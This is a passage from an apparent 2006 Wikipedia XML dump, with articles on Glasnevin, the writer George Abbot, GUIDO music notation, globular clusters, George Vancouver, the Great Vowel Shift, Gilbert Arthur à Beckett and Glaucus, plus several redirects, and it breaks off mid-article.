Apart from the great cemetery by which the locality is best known, Glasnevin is interesting chiefly by reason of the distinguished people who in bygone days made it their [[residence]] or [[resort]]. Of these perhaps the best known and most identified with the place is the celebrated divine, Dr. Delany, who lived here in the [[18th century]], and who assembled around the table in his charming house, Delville, all the Dublin wits and celebrities of his time. Doubtless the chief attraction to many of the visitors was the talented hostess, Mrs. 

Delany, to whose taste and refinement Delville owes much of its present interest. [[Jonathan Swift|Swift]] and Stella were both in the habit of visiting the hospitable proprietors of Delville, and Swift wrote a squib jocosely satirising the grounds which he considered too small for the size of the house.

The gardens are laid out to the best advantage, and retained in 1920, in their main features, the design of their originator. They contained a number of magnificent trees and shrubs, among which are arbutus, ilex and yew, many of them of venerable appearance. A pretty stream, spanned by rustic bridges, flowed through the grounds which are well enclosed, forming a delightful retreat, notwithstanding the rapid encroachment of the city in this direction.

A miniature temple, bearing the motto &quot;Fastigia despicit urbis&quot; (it looks down upon the pinnacles of the city), said to have been suggested by Swift, stands on a slight eminence in the grounds, and contains a medallion of Stella by Mrs. Delany.

==Village of Glasnevin==

The village of Glasnevin has, of course, been much altered since Dr. Delany's time, and is now included in the city, but a few of the older houses still remain, and are readily distinguished by their old-world gardens, with their wealth of flowering shrubs and climbing plants. It would seem to have been an undesirable place of residence in the beginning of the 18th century, if we are to believe the description given by Archbishop King in a letter, dated 1725, published in Mant's History of the Church of Ireland :- &quot;Glasnevin was the receptacle for thieves and rogues. The first search when anything was stolen, was there, and when any couple had a mind to retire to be wicked there was their harbour. But since the church was built, and service regularly settled, all these evils are banished. Good houses are built in it, and the place civilised.&quot;

Adjoining Glasnevin are the [[Botanic Gardens]] where stood the residence of [[Tickell]], the [[poet]] and [[literary executor]] of [[Joseph Addison|Addison]] who came to Ireland as secretary to the [[Earl of Wharton]] in [[1709]]. Tickell, who was [[Clerk of the Privy Council]], died here in [[1740]], and from his [[representative]]s the place was purchased about 120 [[year]]s ago, for its present purposes, by the [[Royal Dublin Society]].

==Community==
Nowadays, Glasnevin is a vibrant community, largely comprising of a mix of young families and their more senior counterparts from the middle of the last century. As well as the amenities of the Botanic Gardens and local parks, the national meteorological office, [http://www.meteireann.ie/ Met &amp;Eacute;ireann], the [http://www.cfb.ie/ Central Fisheries Board], and the national enterprise and trade board, [http://www.enterprise-ireland.com Enterprise Ireland], are all located in the area. The team sports of [[gaelic football]], [[hurling]], [[camogie]], [[basketball]] and [[football (soccer)|football]] all thrive through the local clubs [[Na Fianna]], Tolka Rovers and [http://www.dublincityfc.net/ Home Farm].

==References==

* Weston St. John Joyce, &quot;''The Neighbourhood of Dublin''&quot; (third and enlarged edition 1920). CHAPTER XXVI, &quot;Glasnevin, [[Finglas]] and the adjacent district&quot; (scanned in by Ken Finlay).

[[Category:Towns and suburbs in Dublin]]

==External links==
* Account of Glasnevin from [http://www.chapters.eiretek.org/books/Dalton/Glasnevin.htm D'Alton's '''History of the County Dublin''' (1838)]
* Account of Glasnevin from [http://www.chapters.eiretek.org/books/ball1-6/Ball6/ball6.7.htm F.E. Ball's '''History of the County Dublin''' (1920)]
* [http://www.blather.net/shitegeist/2005/11/waking_the_dead_4.htm The Battle of Glasnevin Graveyard]</text>
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    <title>George Abbot (English writer)</title>
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      <text xml:space="preserve">:''For the man who was Archbishop of Canterbury from 1611 to 1633, see [[George Abbot (Archbishop of Canterbury)]]''

'''George Abbot''' (c. [[1603]]?&amp;ndash;[[February 2]], [[1648]]) was an  [[England|English]] writer. Known as &quot;The Puritan&quot;, he has been oddly and persistently mistaken for others.  He has been described as a clergyman, which he never was, and as son of Sir Morris (or Maurice) Abbot, and his writings accordingly entered in the bibliographical authorities as by the nephew of the archbishop of [[Canterbury, Kent|Canterbury]].  One of the sons of Sir Morris Abbot was, indeed, named George, and he was a man of mark, but the more famous George Abbot was of a different family altogether.  He was son or grandson (it is not clear which) of Sir Thomas Abbot, knight of Easington, East [[Yorkshire]], having been born there in [[1603]]-[[1604]], his mother (or grandmother) being of the ancient house of Pickering.  Of his early life and training nothing is known.  He married a daughter of Colonel Purefoy of Caldecote, [[Warwickshire]], and as his monument, which may still be seen in the church there, tells, he bravely held the manor house against Princes [[Prince Rupert| Rupert]] and [[Prince Maurice von Simmern|Maurice]] during the [[English civil war]].  As a layman, and nevertheless a [[theology|theologian]] and scholar of rare ripeness and critical ability, he holds an almost unique place in the literature of the period.  The terseness of his ''Whole Booke of Job Paraphrased, or made easy for any to understand'' (1640, quartto), contrasts favourably with the usual prolixity of the Puritan expositors and commentators.  His ''Vindiciae Sabbathi'' ([[1641]], octavo) had a profound and lasting influence in the long Sabbatarian controversy.  His ''Brief Notes upon the Whole Book of Psalms'' ([[1651]], quarto), as its date shows, was posthumous.

Authorities--''MS.collections at Abbeyville for history of all of the name of Abbot'', by J.T. Abbot, Esq., F.S.A., Darlington; Dugdale's ''Antiquities of Warwickshire'', 1730 p. 1099; Wood's ''Athenae'' (Bliss), ii.141, 594; Cox's ''Literature of the Sabbath''.

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    <title>GUIDO music notation</title>
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      <text xml:space="preserve">'''GUIDO Music Notation''' is named after [[Guido of Arezzo]], a renowned music theorist of his time and important contributor to today's conventional musical notation. The '''GUIDO''' [[musical notation|Music Notation]] Format is a system designed to logically represent all aspects of music in a  [[computer]]-readable format.  

First designed by Holger H. Hoos (then at [[Technische Universit&amp;auml;t Darmstadt]], [[Germany]], now at [[University of British Columbia]], [[Canada]]) and Keith Hamel ([[University of British Columbia]], [[Canada]]). 
Later developments have been done by the SALIERI Project by Holger H. Hoos, Kai Renz and J&amp;uuml;rgen F. Kilian. 
GUIDO Music Notation has been designed to represent music in a logical format (with the ability to render to sheet music), whereas [[LilyPond]] is more narrowly focused on typesetting sheet music. It is based on the principle of ''representational adequacy'': simple things have simple representations.

GUIDO is not primarily focused on conventional music notation, but has been invented as an open format, capable of storing musical, structural, and notational information. 

GUIDO Music Notation is designed as a flexible and easily extensible open standard. In particular, its syntax does not restrict the features it can represent. Thus, GUIDO can be easily adapted and customized to cover specialized musical concepts as might be required in the context of research projects in computational musicology. More importantly, GUIDO is designed in a way that when using such custom extensions, the resulting GUIDO data can still be processed by other applications that support GUIDO but are not aware of the custom extensions, which are gracefully ignored. This design also greatly facilitates the incremental implementation of GUIDO support in music software, which can speed up the software development process significantly, especially for research software and prototypes.

GUIDO has been split into three consecutive layers: Basic
GUIDO introduces the main concepts of the GUIDO design and allows to represent much of the conventional music of today. Advanced GUIDO extends Basic GUIDO by adding exact score-formatting and some more advanced musical concepts. Finally, Extended GUIDO can represent user-defined extensions, like microtonal information or user defined pitch classes.

=== Example of GUIDO Input File ===
&lt;pre&gt;
&lt;nowiki&gt;
[ \clef&lt;&quot;treble&quot;&gt; \key&lt;&quot;D&quot;&gt; \meter&lt;&quot;4/4&quot;&gt;
 a1*1/2 b a/4. g/8 f#/4 g a/2 b a/4. g/8 f#/4 g
 a/2 a b c#2/4 d c#/2 b1 a/1 ]
&lt;/nowiki&gt;
&lt;/pre&gt;

[[Image:Example1.gif]]

==Source==
* Holger H. Hoos, Keith A. Hamel, Kai Renz, and Jürgen Kilian: Representing Score-Level Music Using the GUIDO Music-Notation Format. Computing in Musicology, Vol 12, MIT Press, 2001. 
*  Holger H. Hoos, Keith A. Hamel, Kai Renz, Jürgen Kilian: The GUIDO Music Notation Format - A Novel Approach for Adequately Representing Score-level Music. Proceedings of ICMC'98, p.451-454, ICMA, San Francisco, 1998. 
*  Holger H. Hoos, Keith A. Hamel, Kai Renz, Jürgen Kilian: GUIDO Music Notation - Towards an Adequate Representation of Score-level Music. Proceedings of JIM'98, LMA-CNSR, 1998. 
* Algorithms and Data Structures for a Music Notation System based on GUIDO Music Notation by Kai Renz.

== See also ==
*[[Guido of Arezzo]]
*[[LilyPond]]
*[[MusicXML]]

==External links==
* [http://www.salieri.org/GUIDO/ GUIDO Homepage]
* [http://www.noteserver.org/ GUIDO Noteserver] - Renders GUIDO to sheet music online

[[Category:Musical notation]]
[[Category:Musical software]]</text>
    </revision>
  </page>
  <page>
    <title>Globular cluster</title>
    <id>12866</id>
    <revision>
      <id>40449983</id>
      <timestamp>2006-02-20T17:15:25Z</timestamp>
      <contributor>
        <username>Rueckk</username>
        <id>492019</id>
      </contributor>
      <minor />
      <comment>typo</comment>
      <text xml:space="preserve">A '''globular cluster''' (sometimes known more simply as a '''globular''') is a [[sphere|spherical]] collection of [[star]]s that orbits a [[galaxy]] as a [[satellite]].  Globular clusters are very tightly bound by gravity, which gives them their spherical shape, and relatively high stellar density towards their core.

[[Image:M80.jpg|thumb|right|300px|The [[Globular Cluster M80]].]]

==Composition==
Globular clusters are generally composed of hundreds of thousands of old stars, similar to the [[galactic bulge|bulge]] of a [[spiral galaxy]] but confined to a volume of only a few cubic [[parsec]]s. Some globular clusters (like [[Omega Centauri]] in our [[Milky Way]], and G1 in [[Andromeda Galaxy|M31]]) are extraordinarily massive clusters, weighing as many as several million [[solar mass]]es. Some globular clusters (like [[Globular Cluster M15|M15]]) have extremely massive cores which are expected to harbor [[black holes]].

With a few notable exceptions, each globular cluster appears to have a definite age. That is, all the stars in a cluster are at the same stage in [[stellar evolution]], suggesting that they formed at the same time.  It was the recognition of this fact, studying [[Hertzsprung-Russell diagram]]s of globulars, that led to the earliest understanding of stellar evolution.

Globular clusters have a very high star density, and therefore close interactions and near-collisions of stars occur relatively often. Some exotic classes of stars, such as [[blue straggler]]s, [[millisecond pulsar]]s and [[low-mass X-ray binaries]] are much more common in globular clusters.

==Ubiquitousness==
Globular clusters are fairly numerous; there are about 150 currently known globular clusters in the [[Milky Way]] (with perhaps 10-20 more undiscovered), and larger galaxies such as [[Andromeda Galaxy|Andromeda]] tend to have more (Andromeda may have as many as 500).  Some giant [[elliptical galaxies]], such as [[Elliptical Galaxy M87|M87]], may have as many as 10,000 globular clusters. These globular clusters orbit the galaxy out to large radii, 100 kilo[[parsec]]s or more.

In many galaxies (especially massive elliptical galaxies) there appear to be two populations of globular clusters, which appear to be of similar ages
(nearly as old as the universe itself) but of different metal abundances. These subpopulations are generally known as &quot;metal-poor&quot; and &quot;metal-rich&quot;, although the metallicities of the metal-rich clusters are generally less than that of the Sun. Many scenarios have been suggested to explain these subpopulations,
including violent gas-rich galaxy mergers, the accretion of dwarf galaxies, and multiple phases of star formation in a single galaxy. In our [[Milky Way]], the metal-poor clusters are associated with the halo and the metal-rich clusters with the Bulge.

==Origin==
It is thought that some of the larger globular clusters started out as galaxies orbiting a host galaxy, with only the central bulge remaining when outer stars have been stripped from it by the gravitational tidal forces originating from the host galaxy.

==Significance==
It was through the study of globular clusters that the [[Sun]]'s position in the Milky Way became known.  Until the [[1930s]], it was thought that the Sun was near the middle of the galaxy because the distribution of stars in the observable Milky Way appeared uniform.  However, the distribution of globular clusters was strongly asymmetric. Assuming a roughly spherical distribution of globular clusters around the galaxy's center, one can estimate the position of the sun relative to the galactic center. By further estimating the distances to the clusters, the distance of the Sun to the galactic center can be estimated as well. It thus became clear that the part of the Milky Way seen from Earth was only a small part of the total galaxy, most of which was obscured by gas and dust.

==See also==
*[[Plummer model]]

==References==
===General resources===
* [http://adswww.harvard.edu/ NASA Astrophysics Data System] has a collection of past articles, from all major astrophysics journals and many conference proceedings.
* [http://astro.u-strasbg.fr/scyon/ SCYON] is a newsletter dedicated to star clusters.
* [http://www.manybody.org/modest/ MODEST] is a loose collaboration of scientists working on star clusters.

===Books===
* Binney, James; Tremaine, Scott (1987). ''Galactic Dynamics'', Princeton University Press, Princeton, New Jersey.
* Heggie, Douglas; Hut, Piet (2003). ''The Gravitational Million-Body Problem: A Multidisciplinary Approach to Star Cluster Dynamics'', Cambridge University Press.
* Spitzer, Lyman (1987). ''Dynamical Evolution of Globular Clusters'', Princeton University Press, Princeton, New Jersey.
===Review Articles===
* Elson, Rebecca; Hut, Piet; Inagaki, Shogo (1987). Dynamical evolution of globular clusters. ''Annual review of astronomy and astrophysics'' '''25''' 565. [http://adsabs.harvard.edu/cgi-bin/nph-bib_query?bibcode=1987ARA%26A..25..565E NASA ADS]
* Meylan, G.; Heggie, D. C. (1997). Internal dynamics of globular clusters. ''The Astronomy and Astrophysics Review'' '''8''' 1. [http://adsabs.harvard.edu/cgi-bin/nph-bib_query?bibcode=1997A%26ARv...8....1M NASA ADS]

==External links==
* [http://www.seds.org/messier/glob.html Globular Clusters], SEDS Messier pages
* [http://www.seds.org/~spider/spider/MWGC/mwgc.html Milky Way Globular Clusters]
* [http://physun.physics.mcmaster.ca/Globular.html Catalogue of Milky Way Globular Cluster Parameters] by William E. Harris, McMaster University, Ontario, Canada.
* [http://www.mporzio.astro.it/~marco/gc/ A galactic globular cluster database] by Marco Castellani, Rome Astronomical Observatory, Italy.

[[Category:Star clusters]]
[[Category:Globular clusters]]

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[[sv:Klotformig stjärnhop]]</text>
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  </page>
  <page>
    <title>George Vancouver</title>
    <id>12867</id>
    <revision>
      <id>41406434</id>
      <timestamp>2006-02-27T02:53:27Z</timestamp>
      <contributor>
        <username>Fishhead64</username>
        <id>604902</id>
      </contributor>
      <comment>/* External links */ added cat</comment>
      <text xml:space="preserve">[[Image:George Vancouver.jpg|thumb|right|175px|Captain George Vancouver]]
'''George Vancouver''' ([[June 22]], [[1757]] &amp;ndash; [[May 12]], [[1798]]) was an officer of the [[Royal Navy]], and an [[exploration|explorer]] best known for his exploration of [[North America]], including the Pacific coast along [[Oregon]], [[Washington]], and [[British Columbia]]; he also explored the southwest coast of [[Australia]].  He is the [[eponymous]] originator of several locations named [[Vancouver (disambiguation)|Vancouver]].

== Early career ==
George Vancouver was born in [[King's Lynn]], [[England]].  His first voyage to the Pacific was aboard [[Captain James Cook]]'s ''[[HMS Resolution]]'' on Cook's second voyage of exploration, from [[1772]] to [[1775]].  It was Vancouver's first naval service.  He was only fifteen years old.  

Vancouver served under Cook again, during his third voyage of discovery, this time aboard the ''Resolution's'' sister ship, ''[[HMS Discovery (ship)|HMS Discovery]]''.  This voyage lasted from [[1776]] to [[1779]].

Upon his return to Britain in 1779 Vancouver was [[commissioned_officer|commissioned]] as a [[lieutenant]].  His first post as a lieutenant was serving aboard the sloop ''[[HMS Martin]]'', on patrol duties in the [[English Channel]].

The next vessel Vancouver served in was the 74-gun [[ship of the line]] ''[[HMS Fame (1759)|HMS Fame]]''.  The Fame was one of the vessels participating in the [[United Kingdom|British]] victory in the [[Battle of the Saintes]] in [[1782]].

While serving on the [[West Indies]] station, Vancouver was able to put the [[surveying]] and [[cartography|cartographic]] skills he learned under Cook to use surveying [[Port Royal]] and [[Kingston Harbour]].  He was assisted in this task by [[Joseph Whidbey]], who later served as his [[sailing master]] during his voyage of exploration.

In [[1789]] the Royal Navy was planning another voyage of exploration to the Pacific.  It was to be commanded by [[Henry Roberts]], another of Captain Cook's [[protégé]]s.  Vancouver was to be his second in command.  ''[[HMS Discovery]]'' was purchased specifically for this mission.

However, a dispute when [[Spain|Spanish]] forces seized Nootka Island in [[Nootka Sound]] put the expedition on hold.  Spain and Britain came close to going to war.  An accommodation was arrived at, the [[Nootka Convention]], and war was avoided.  But the preparations for war had disrupted the preparations for the expedition.

By the time the convention had been signed Roberts was no longer available to lead the expedition.  Vancouver was given command.

== Vancouver's [[1791]]-[[1794]] exploration of North America's Pacific Coast ==

He followed the coasts of Oregon and Washington northward. In October [[1792]] he sent Lieutenant [[William Robert Broughton]] with several boats from Broughton's own ship to explore the [[Columbia River]]. Broughton navigated as far as the [[Columbia River Gorge]], sighting and naming [[Mt. Hood]].  Vancouver also entered the [[Strait of Juan de Fuca]], between [[Vancouver Island]] and the mainland. He intended to explore every bay and outlet of this region, and many times had to use boats to do so, because the inlets were often too narrow for his ships. He met a Spanish exploring party led by [[Dionisio Alcala Galiano]] and [[Cayetano Valdes y Flores]], and for some time they explored [[Puget Sound]] together. Afterwards, Vancouver went to [[Nootka]] (on [[Vancouver Island]]), then the region's most important harbour, where he was to get any British buildings or lands returned by the Spanish. The Spanish commander [[Juan Francisco Bodega y Quadra|Bodega y Quadra]] was very cordial and he and Vancouver exchanged the maps they had made of their explorations, but no agreement was reached; they decided to await further instructions. After a visit to Spanish [[California]], Vancouver used the winter to further explore the [[Hawaii|Sandwich Islands]].

The next year he went back to [[British Columbia]], and explored the coast further north. He got to 56°N, and because the more northern parts had already been explored by Cook, he then sailed south to California, hoping to be able to fulfill his task regarding Nootka; however, Bodega y Quadra was not there. He again spent the winter in the Sandwich Islands.

The [[Burrard Inlet]] was named by Captain Vancouver in June [[1792]], after his friend Sir [[Harry Burrard]].

In [[1794]], he first went to [[Cook Inlet]], the northernmost limit of his exploration, and from there he followed the coast southward to [[Baranov Island]], which he had also reached the year before. He then set sail for [[England]], choosing the route around [[Cape Horn]], thus completing a [[circumnavigation]].

At the end of the exploration. Vancouver determined that the Northwest Passage did not exist at the latitudes that had long been suggested. Various locations around the world have been named after George Vancouver, including [[Vancouver Island]] (originally Vancouver &amp; Quadra Island) and the cities of [[Vancouver, British Columbia]], and [[Vancouver, Washington]]. 

Vancouver had to face a disciplinary inquiry when he returned because of an action he had taken against a junior officer who happened to be well connected politically. His career was effectively at an end. One of Britain's greatest navigators, Vancouver died in obscurity. His modest grave lies in St. Peters churchyard, [[Petersham]].

== &quot;Vancouver&quot; History of the family name ==

The origins of the [[family name]] are a hotly disputed issue. Popular belief states that the name is derived from a small village in the northeast of the [[Netherlands]].  However this theory is directly quoted from the misinterpretations of Mr. Adriaan Mansvelt ([[Consul General]] of the Netherlands based in Vancouver BC in the [[1970s]]). 

According to Mansvelt's theory, The [[family name]] Vancouver was derived from ''&quot;Van [[Coevorden]]&quot;'', meaning ''&quot;from Coevorden&quot;'', hence the locations mentioned were indirectly named after this town in the [[Netherlands]]. It is known that a number of businessmen from the Coevorden area relocated to England in the 18th Century, and some of them were known as &quot;van Coevorden&quot;; others adopted the surname &quot;[[Oxford]]&quot;, which is approximately the English translation of Coevorden.

The [[World exposition]] in [[Vancouver]] BC in [[1986]], [[Expo 86]], asserted to the world that this belief was correct and solidified it as [[historical]] fact.

However, this theory is based solely on the Mansvelt's assumptions and lacks any actual proof. Documents quoted by Mr. Mansvelt which are accepted as undeniable proof of his theory are inconclusive as documentary evidence (''see'' also [http://www.captainvancouver.8m.com Captain Vancouver, another theory]}. 

This theory is based on the belief that the name Vancouver was actually a [[misspelling]] or [[anglicized]] version of the name &quot;van Couwen&quot;, which is still a very common name in the [[Netherlands]].  Although the two theories agree that the name was changed to an [[anglicized]] version of the original [[Dutch language|Dutch]] name, the [[contradictions]] start with which name was changed and how it was changed.  Both opinions are plausible, but lack credible [[evidence]].

==Others present on Vancouver's voyage==
*[[Archibald Menzies]], ship's doctor and naturalist on board Vancouver's voyage.
*[[Peter Puget]], lieutenant
*[[Zachariah Mudge]]
*[[Robert Barrie]]
*[[Spelman Swaine]]
*[[Edward Roberts (RN)|Edward Roberts]]
*[[Joseph Whidbey]]

== Works by George Vancouver ==

* Voyage Of Discovery To The North Pacific Ocean, And Round The World In The Years 1790-95, by George Vancouver (ISBN: 0781251001)
== External links ==

*[http://www.biographi.ca/EN/ShowBio.asp?BioId=36317 Biography at the ''Dictionary of Canadian Biography Online'']
*[http://www.win.tue.nl/~engels/discovery/vancouver.html Discoverers Web]
*[http://www.captainvancouver.8m.com  Captain Vancouver Another Theory]
*[http://www.library.ubc.ca/jones/vanety.html The True Meaning of Vancouver]

[[Category:1757 births|Vancouver, George]]
[[Category:1798 deaths|Vancouver, George]]
[[Category:British explorers|Vancouver, George]]
[[Category:Explorers of North America|Vancouver, George]]
[[Category:Explorers of the Pacific|Vancouver, George]]
[[Category:Explorers of British Columbia|Vancouver, George]]
[[Category:Royal Navy officers|Vancouver, George]]
[[Category:Explorers of Canada|Vancouver, George]]
[[Category:Natives of Norfolk|Vancouver]]



[[de:George Vancouver]]
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  <page>
    <title>Ghaggar River</title>
    <id>12868</id>
    <revision>
      <id>25052148</id>
      <timestamp>2005-10-08T11:27:25Z</timestamp>
      <contributor>
        <username>Machaon</username>
        <id>193632</id>
      </contributor>
      <comment>merging to Ghaggar-Hakra River</comment>
      <text xml:space="preserve">#REDIRECT[[Ghaggar-Hakra River]]</text>
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  </page>
  <page>
    <title>Gilbert Arbott a Beckett</title>
    <id>12869</id>
    <revision>
      <id>20304041</id>
      <timestamp>2005-08-05T01:17:27Z</timestamp>
      <contributor>
        <username>SDC</username>
        <id>181435</id>
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      <text xml:space="preserve">#REDIRECT [[Gilbert Abbott à Beckett]]</text>
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  </page>
  <page>
    <title>Genitalia</title>
    <id>12871</id>
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      <id>15910523</id>
      <timestamp>2002-08-23T04:21:19Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Sex organ]]</text>
    </revision>
  </page>
  <page>
    <title>Great Vowel Shift</title>
    <id>12872</id>
    <revision>
      <id>40548253</id>
      <timestamp>2006-02-21T09:52:53Z</timestamp>
      <contributor>
        <username>TShilo12</username>
        <id>153537</id>
      </contributor>
      <comment>rm idle speculation.</comment>
      <text xml:space="preserve">The '''Great Vowel Shift''' was a major change in the [[pronunciation]] of the [[English language]], generally accomplished in the [[15th century]], although evidence suggests it began as early as the [[14th century]].  The shift continued for some time into the [[16th century]], spreading toward the non-metropolitan and non-port areas.  It represented a change in the long [[vowel]]s (''i.e.,'' a [[vowel shift]]).  

The values of the long vowels form the main difference between the pronunciation of [[Middle English]] and [[Modern English]], and the Great Vowel Shift is one of the historical events marking the separation of Middle and Modern English.   Originally, these vowels had &quot;continental&quot; values much like those remaining in liturgical [[Latin]]. However, during the Great Vowel Shift, the two highest long vowels became [[diphthong]]s, and the other five underwent an increase in [[Vowel_height|tongue height]] with one of them coming to the front.

The principal changes (with the vowels shown in [[International Phonetic Alphabet|IPA]]) are roughly as follows. However, exceptions occur, the transitions were not always complete, and there were sometimes accompanying changes in [[orthography]]:

:* {{IPA|/a&amp;#720;/}} &amp;rarr; {{IPA|/e&amp;#618;/}} (as in ''m'''a'''ke'')
:* {{IPA|/&amp;#603;&amp;#720;/}} &amp;rarr; {{IPA|/e&amp;#618;/}} or {{IPA|/i&amp;#720;/}} (as in ''br'''ea'''k'' or ''b'''ea'''k'')
:* {{IPA|/e&amp;#720;/}} &amp;rarr; {{IPA|/i&amp;#720;/}} (as in ''f'''ee'''t'')
:* {{IPA|/i&amp;#720;/}} &amp;rarr; {{IPA|/a&amp;#618;/}} (as in ''m'''i'''ce'')
:* {{IPA|/&amp;#596;&amp;#720;/}} &amp;rarr; {{IPA|/o&amp;#650;/}} (as in ''b'''oa'''t'')
:* {{IPA|/o&amp;#720;/}} &amp;rarr; {{IPA|/u&amp;#720;/}} (as in ''b'''oo'''t'')
:* {{IPA|/u&amp;#720;/}} &amp;rarr; {{IPA|/a&amp;#650;/}} (as in ''m'''ou'''se'')

This means that the vowel in the English word ''make'' was originally pronounced as in modern English ''father'', but has now become a diphthong, as it is today in standard pronunciations of British English (see [[Received Pronunciation]]); the vowel in ''feet'' was originally pronounced as a long Latin-like ''e'' sound; the vowel in ''mice'' was originally what the vowel in ''feet'' is now; the vowel in ''boot'' was originally a long Latin-like ''o'' sound, which has been preserved in &quot;door&quot;; and the vowel in ''mouse'' was originally what the vowel in ''moose'' is now, but has now become a diphthong.

The Great Vowel Shift was first studied by the [[Denmark|Danish]] [[linguist]] [[Otto Jespersen]] ([[1860]]&amp;ndash;[[1943]]), who coined the term.

The effects of the shift were not entirely uniform, and differences in degree of vowel shifting can sometimes be detected in regional dialects both in written and spoken English, for example in the speech of much of Scotland.  The surprising speed and the exact cause of the shift are continuing mysteries in [[linguistics]] and [[cultural history]], but some theories attach the cause to the mass immigration to South East England after the [[Black Death]], where the difference in accents led to certain groups modifying their speech to allow for a standard pronunciation of vowel sounds. The different dialects and the rise of a standardized middle class in [[London]] led to changes in pronunciation, which continued to spread out from London. Other theories point to the sudden social mobility after the Black Death, with people from lower levels in society moving to higher levels (the pandemic hit the aristocracy too). Another theory highlights the language of the ruling class - the medieval aristocracy had spoken French, but by the early 15th century they were using English. This may have caused a change to the &quot;prestige accent&quot; of English, either by making pronunciation more French in style, or by changing it in some other way, perhaps by [[hypercorrection]] to something thought to be &quot;more English&quot; (England was at war with France for much of this period). Yet another theory points to the great political and social upheavals of the 15th century, which were largely contemporaneous with the Great Vowel Shift.

Because English spelling was becoming standardised in the 15th and 16th centuries, the Great Vowel Shift is responsible for many of the peculiarities of [[English spelling]].  Spellings that made sense according to Middle English pronunciation were retained in Modern English.

[[German language|German]] and [[Dutch language|Dutch]] also experienced sound changes resembling the first stage of the Great Vowel Shift: long i changed to /ai/ (as in ''Eis'' and ''ijs'', 'ice'), and long u to /au/ and the Dutch /ui/ (as in ''Haus'' and ''huis'', 'house'). This is why in German &quot;ei&quot; and in Dutch &quot;ij&quot; (actually &quot;ii&quot;, sometimes casually written as &quot;y&quot; or &quot;ÿ&quot;) are pronounced closer to /ai/; however, otherwise, those languages kept their spellings far more consistent.

==See also==
* [[History of the English language]]
* [[Phonological history of the English language]]

== External links ==
* [http://alpha.furman.edu/~mmenzer/gvs/ Great Vowel Shift website] created by [[Melinda Menzer|Melinda J. Menzer]] and [[Andrea Bean|Andrea S. Bean]] of [[Furman University]]
** &quot;[http://alpha.furman.edu/~mmenzer/gvs/what.htm What is the Great Vowel Shift?]&quot; from the same site
* &quot;[http://icg.fas.harvard.edu/~chaucer/vowels.html The Great Vowel Shift]&quot; page from the [[Geoffrey Chaucer]] section of the [[Harvard University]] website


[[Category:History of the English language]]

[[ja:&amp;#22823;&amp;#27597;&amp;#38899;&amp;#25512;&amp;#31227;]]</text>
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  <page>
    <title>Gilbert Abbott a Beckett</title>
    <id>12873</id>
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      <id>15910525</id>
      <timestamp>2005-06-26T21:48:41Z</timestamp>
      <contributor>
        <username>SDC</username>
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      <comment>merged duplicate articles</comment>
      <text xml:space="preserve">#REDIRECT [[Gilbert Abbott à Beckett]]</text>
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  </page>
  <page>
    <title>Gilbert Arthur a Beckett</title>
    <id>12874</id>
    <revision>
      <id>35050081</id>
      <timestamp>2006-01-13T19:31:02Z</timestamp>
      <contributor>
        <username>Shsilver</username>
        <id>637</id>
      </contributor>
      <text xml:space="preserve">'''Gilbert Arthur à Beckett''' ([[1837]] &amp;ndash; [[October 15]], [[1891]]) was an English writer.

Beckett was born at [[Hammersmith]], [[United Kingdom]], the eldest son of [[Gilbert Abbott à Beckett]]. Graduating from [[Christ Church, Oxford|Christ Church]], [[Oxford]], as a Westminster scholar in [[1860]], he was entered at [[Lincoln's Inn]] but gave his attention chiefly to drama, producing &quot;Diamonds and Hearts&quot; at the [[Haymarket theatre, London|Haymarket]] in [[1867]]. It was followed by other light comedies. His pieces include numerous burlesques and pantomimes, the libretti of &quot;Savonarola&quot; ([[Hamburg]], [[1884]]) and of &quot;The Canterbury Pilgrims&quot; (Drury Lane, [[1884]]) for the music of Dr. (afterwards Sir) [[C.V. Stanford]]. &quot;The Happy Land&quot; (Court Theatre, [[1873]]), a political burlesque of [[W. S. Gilbert]]'s &quot;Wicked World,&quot; was written in collaboration with [[F.L. Tomline]].  For the last ten years of his life he was on the regular staff of ''[[Punch magazine|Punch]]''.

His health was seriously affected in [[1889]] by the death of his only son, and he died in [[1891]].

[[Category:1837 births|Beckett, Gilbert Arthur à]]
[[Category:1891 deaths|Beckett, Gilbert Arthur à]]

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  </page>
  <page>
    <title>Glaucus</title>
    <id>12875</id>
    <revision>
      <id>42155871</id>
      <timestamp>2006-03-04T04:41:59Z</timestamp>
      <contributor>
        <ip>203.115.162.67</ip>
      </contributor>
      <comment>/* Soldier */</comment>
      <text xml:space="preserve">{{Greek myth (sea)}}

In [[Greek mythology]], '''Glaucus''' (&quot;shiny&quot; or &quot;bright&quot; or &quot;bluish-green&quot;) referred to several different people.

*Alternative: [[Glaukos]], [[Glacus]]

&lt;!-- Image with unknown copyright status removed: [[Image:Glaucus and Scylla.jpg|thumb|left|Glaucus and [[Scylla]]; painting made by [[Laurent de La Hyre]] between 1640 and 1644.]] --&gt;

===God===
'''Glaucus''' was a [[Greek mythology|Greek]] sea-god, the son of [[Anthedon]] and [[Alcyone]]. The story of his origin is made into a Roman entertainment by [[Ovid]], that he began as a mortal fisherman living in the Boeotian city of Anthedon and one day he caught and landed some fish at a place where there grew an [[herb]] with the magic property of resuscitating fish and allowing them to return to the water. Seeing this effect the herb had on the fish, Glaucus ate some of it too. The herb made him immortal, but it also gave him fins and caused his legs to transform into a fish's tail, forcing him to dwell forever in the sea. Glaucus was initially upset by this side-effect, but [[Oceanus]] and [[Tethys (mythology)|Tethys]] received him well and he was quickly accepted among the deities of the sea, learning the art of [[prophecy]] at which they were skilled.

Glaucus fell in love with the sea-goddess [[Scylla]], who rejected him due to his piscine form. He consulted with [[Circe]] for a solution but she became passionately in love with him herself. Since Glaucus cared only for Scylla, however, Circe turned her into a fishlike monster from the waist down, with a row of vicious dog's heads round her loins. She went to live alone in a submerged cave overlooking a narrow channel of water, but Glaucus remained in love with her and mourned her transformation.

[[Euripides]] wrote in his play ''Orestes'' that Glaucus was a son of [[Nereus]] and says that he assisted [[Menelaus]] on his homeward journey with good advice. He also helped the [[Argonauts]]. It was believed that he commonly came to the rescue of sailors in storms, having once been one himself.

A statue of Glaucus was installed in 1911 in the middle of the [[Fontana delle Naiadi]], [[Mario Rutelli's]] fountain of four naked bronze nymphs, located in the [[Piazza Repubblica]], [[Rome]].

&lt;!-- Image with unknown copyright status removed: [[Image:Glaucus (Greek Mythology).jpg|thumb|right|Glaucus; a name attributed to a child, a soldier, a king, and a god.]] --&gt;

===King===
